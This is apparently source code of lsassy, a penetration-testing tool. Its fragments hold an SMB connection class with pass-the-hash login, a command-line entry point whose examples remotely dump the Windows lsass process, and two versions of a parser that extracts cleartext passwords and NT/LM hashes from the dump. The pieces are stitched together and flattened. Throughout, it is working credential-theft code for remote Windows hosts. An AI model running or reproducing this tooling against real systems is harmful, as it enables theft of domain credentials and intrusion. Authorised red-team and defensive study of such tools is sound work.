class ImpacketConnection: def __init__(self, conn=None, debug=False): self._log = Logger(debug) self.conn = conn @staticmethod def from_args(arg, debug=False): pattern = re.compile( r"^(?:(?P<domain_name>[a-zA-Z0-9._-]+)/)?(?P<username>[^:/]+)(?::(?P<password>.*))?@(?P<hostname>[a-zA-Z0-9.-]+):/(?P<share_name>[^/]+)(?P<filePath>/(?:[^/]*/)*[^/]+)$" ) matches = pattern.search(arg.target) if matches is None: raise Exception( "{} is not valid. Expected format : [domain/]username[:password]@host:/share_name/path/to/file" .format(arg.target)) domain_name, username, password, hostname, share_name, filePath = matches.groups( ) if matches.group("domain_name") is None: domain_name = "." if matches.group("password") is None and arg.hashes is None: import getpass password = getpass.getpass(prompt='Password: '******':' in arg.hashes: lmhash, nthash = arg.hashes.split(':') else: lmhash = 'aad3b435b51404eeaad3b435b51404ee' nthash = arg.hashes else: lmhash = '' nthash = '' return ImpacketConnection(debug=debug).login( hostname, domain_name, username, password, lmhash, nthash), share_name, filePath def login(self, ip, domain_name, username, password, lmhash, nthash): try: ip = list({addr[-1][0] for addr in getaddrinfo(ip, 0, 0, 0, 0)})[0] except gaierror: raise Exception( "No DNS found to resolve %s.\n" "Please make sure that your DNS settings can resolve %s" % (ip, ip)) conn = SMBConnection(ip, ip) username = username.split("@")[0] self._log.debug("Authenticating against {}".format(ip)) try: conn.login(username, password, domain=domain_name, lmhash=lmhash, nthash=nthash, ntlmFallback=True) self._log.debug("Authenticated") except SessionError as e: e_type, e_msg = e.getErrorString() self._log.error("{}: {}".format(e_type, e_msg)) self._log.debug("Provided credentials : {}\\{}:{}".format( domain_name, username, password)) sys.exit(1) except Exception as e: raise Exception("Unknown error : {}".format(e)) self.conn = conn return self def connectTree(self, share_name): return self.conn.connectTree(share_name) def openFile(self, tid, fpath): while True: try: fid = self.conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA) self._log.debug("File {} opened".format(fpath)) return fid except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def queryInfo(self, tid, fid): while True: try: info = self.conn.queryInfo(tid, fid) return info except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def getFile(self, share_name, path_name, callback): while True: try: self.conn.getFile(share_name, path_name, callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def deleteFile(self, share_name, path_name): while True: try: self.conn.deleteFile(share_name, path_name) self._log.debug("File {} deleted".format(path_name)) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: time.sleep(2) else: raise Exception(e) def putFile(self, share_name, path_name, callback): try: self.conn.putFile(share_name, path_name, callback) self._log.debug("File {} uploaded".format(path_name)) except Exception as e: raise Exception( "An error occured while uploading %s on %s share : %s" % (path_name, share_name, e)) def readFile(self, tid, fid, offset, size): return self.conn.readFile(tid, fid, offset, size, singleCall=False) def close(self): self.conn.close()
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Try all methods ** lsassy -m 0 adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q [email protected] lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawTextHelpFormatter ) group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument('-m', '--method', action='store', default="1", help='''Dumping method 0: Try all methods to dump procdump, stop on success (Requires -p if dll method fails) 1: comsvcs.dll method, stop on success (default) 2: Procdump method, stop on success (Requires -p) 3: comsvcs.dll + Powershell method, stop on success 4: comsvcs.dll + cmd.exe method''') parser.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') parser.add_argument('-p', '--procdump', action='store', help='Procdump path') parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) file_path = args.dumppath dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) file_path = dumper.dump() if not file_path: logger.error("lsass could not be dumped") exit() logger.success("Process lsass.exe is being dumped") ifile = ImpacketFile(logger) ifile.open(conn, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close()
class Parser(): def __init__(self, pypydump): self.pypydump = pypydump self.log = Logger() self.credentials = [] def _parse(self, raw=False): """ This code was shamelessly taken from project Spraykatz by @lydericlefebvre https://github.com/aas-n/spraykatz/blob/master/core/ParseDump.py """ ssps = [ 'msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds' ] for luid in self.pypydump.logon_sessions: for ssp in ssps: for cred in getattr(self.pypydump.logon_sessions[luid], ssp, []): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) LMHash = getattr(cred, "LMHash", None) NThash = getattr(cred, "NThash", None) if LMHash is not None: LMHash = LMHash.hex() if NThash is not None: NThash = NThash.hex() # Remove empty password, machine accounts and buggy entries if raw: self.credentials.append( [ssp, domain, username, password, LMHash, NThash]) elif (not all(v is None or v == '' for v in [password, LMHash, NThash]) and not username.endswith('$') and not username == ''): self.credentials.append( (ssp, domain, username, password, LMHash, NThash)) def output(self, args): self._parse(args.raw) if args.json: json_output = {} for cred in self.credentials: ssp, domain, username, password, lhmash, nthash = cred if domain not in json_output: json_output[domain] = {} if username not in json_output[domain]: json_output[domain][username] = [] credential = { "password": password, "lmhash": lhmash, "nthash": nthash } if credential not in json_output[domain][username]: json_output[domain][username].append(credential) print(json.dumps(json_output), end='') elif args.grep: credentials = set() for cred in self.credentials: credentials.add(':'.join( [c if c is not None else '' for c in cred])) for cred in credentials: print(cred) else: if len(self.credentials) == 0: self.log.error('No credentials found') return 0 max_size = max(len(c[0]) + len(c[1]) for c in self.credentials) credentials = [] for cred in self.credentials: ssp, domain, username, password, lhmash, nthash = cred if password is None: password = '******'.join(h for h in [lhmash, nthash] if h is not None) if [domain, username, password] not in credentials: credentials.append([domain, username, password]) self.log.success("{}\\{}{}{}".format( domain, username, " " * (max_size - len(domain) - len(username)), Logger.highlight(password)))
class Parser(): def __init__(self, pypydump): self.pypydump = pypydump self.log = Logger() self.credentials = [] def _parse(self, raw=False): ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds'] for luid in self.pypydump.logon_sessions: for ssp in ssps: for cred in getattr(self.pypydump.logon_sessions[luid], ssp, []): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) LMHash = getattr(cred, "LMHash", None) NThash = getattr(cred, "NThash", None) if LMHash is not None: LMHash = LMHash.hex() if NThash is not None: NThash = NThash.hex() # Remove empty password, machine accounts and buggy entries if raw: self.credentials.append([ssp, domain, username, password, LMHash, NThash]) elif (not all(v is None or v == '' for v in [password, LMHash, NThash]) and username is not None and not username.endswith('$') and not username == ''): self.credentials.append((ssp, domain, username, password, LMHash, NThash)) def _decode(self, data): """ Ugly trick because of mixed content coming back from pypykatz Can be either string, bytes, None """ try: return data.decode('utf-8', 'backslashreplace') except: return data def output(self, args): self._parse(args.raw) if args.json: json_output = {} for cred in self.credentials: ssp, domain, username, password, lhmash, nthash = cred domain = self._decode(domain) username = self._decode(username) password = self._decode(password) if domain not in json_output: json_output[domain] = {} if username not in json_output[domain]: json_output[domain][username] = [] credential = { "password": password, "lmhash": lhmash, "nthash": nthash } if credential not in json_output[domain][username]: json_output[domain][username].append(credential) print(json.dumps(json_output), end='') elif args.grep: credentials = set() for cred in self.credentials: credentials.add(':'.join([self._decode(c) if c is not None else '' for c in cred])) for cred in credentials: print(cred) else: if len(self.credentials) == 0: self.log.error('No credentials found') return 0 max_size = max(len(c[1]) + len(c[2]) for c in self.credentials) credentials = [] for cred in self.credentials: ssp, domain, username, password, lhmash, nthash = cred domain = self._decode(domain) username = self._decode(username) password = self._decode(password) if password is None: password = '******'.join(h for h in [lhmash, nthash] if h is not None) if [domain, username, password] not in credentials: credentials.append([domain, username, password]) self.log.success("{}\\{}{}{}".format( domain, username, " " * (max_size - len(domain) - len(username) + 2), Logger.highlight(password)) )